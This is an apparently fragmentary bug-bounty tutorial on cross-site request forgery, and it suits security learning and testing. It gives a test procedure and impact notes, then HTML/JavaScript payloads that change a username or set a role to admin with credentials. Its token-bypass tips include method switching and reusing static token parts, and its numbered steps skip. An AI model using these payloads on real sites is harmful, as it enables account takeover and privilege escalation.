CSRF 1657990690
CSRF 1657990690
● Make 2 accounts, one for the victim and another for the attacker.
● Sign in with the attacker account and generate a malicious link also called as
CSRF POC.
● Send the POC/link to the victim.
● Sign in with the victim’s account and open the link.
● If successful i.e. data changes you proved that the web application is
vulnerable to csrf.
CSRF Severity:
Impact of CSRF:
● CSRF is an attack that forces the victim or the user to execute a malicious
request on the server on behalf of the attacker.
● Although csrf attacks are not meant to still any sensitive data as the
attacker wouldn't receive any response as with whatever the victim does but
this vulnerability is defined as it causes a state change on the server such
as-
➢ Changing the victim’s email address or password
➢ Purchasing anything
➢ Making a bank transaction
➢ Explicitly logging out the user from his account
Usually found in forms. Try to submit the form and check the http request. If the
http request does not have a CSRF token then it is likely to be vulnerable to a
CSRF attack. But in some cases, the CSRF token can be bypassed.
How to Exploit?
<a href="http://www.example.com/api/setusername?username=uname">Click
Me</a>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
How to Bypass CSRF?
username=dapos&password=123456&token=aaabaa
4. Changing POST / GET method
GET
/register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
HTTP/1.1
Host: target.com
...
8. Sometimes anti csrf tokens are composed of two parts, one of them
remains static and other one dynamic.
If you notice the “vi802jg9f8akd9j” part of the token remains the same,
you just need to send it with only the static part.
Reference:
https://brightsec.com/blog/csrf-mitigation/
https://github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20
Request%20Forgery.md
https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%2
0CSRF.md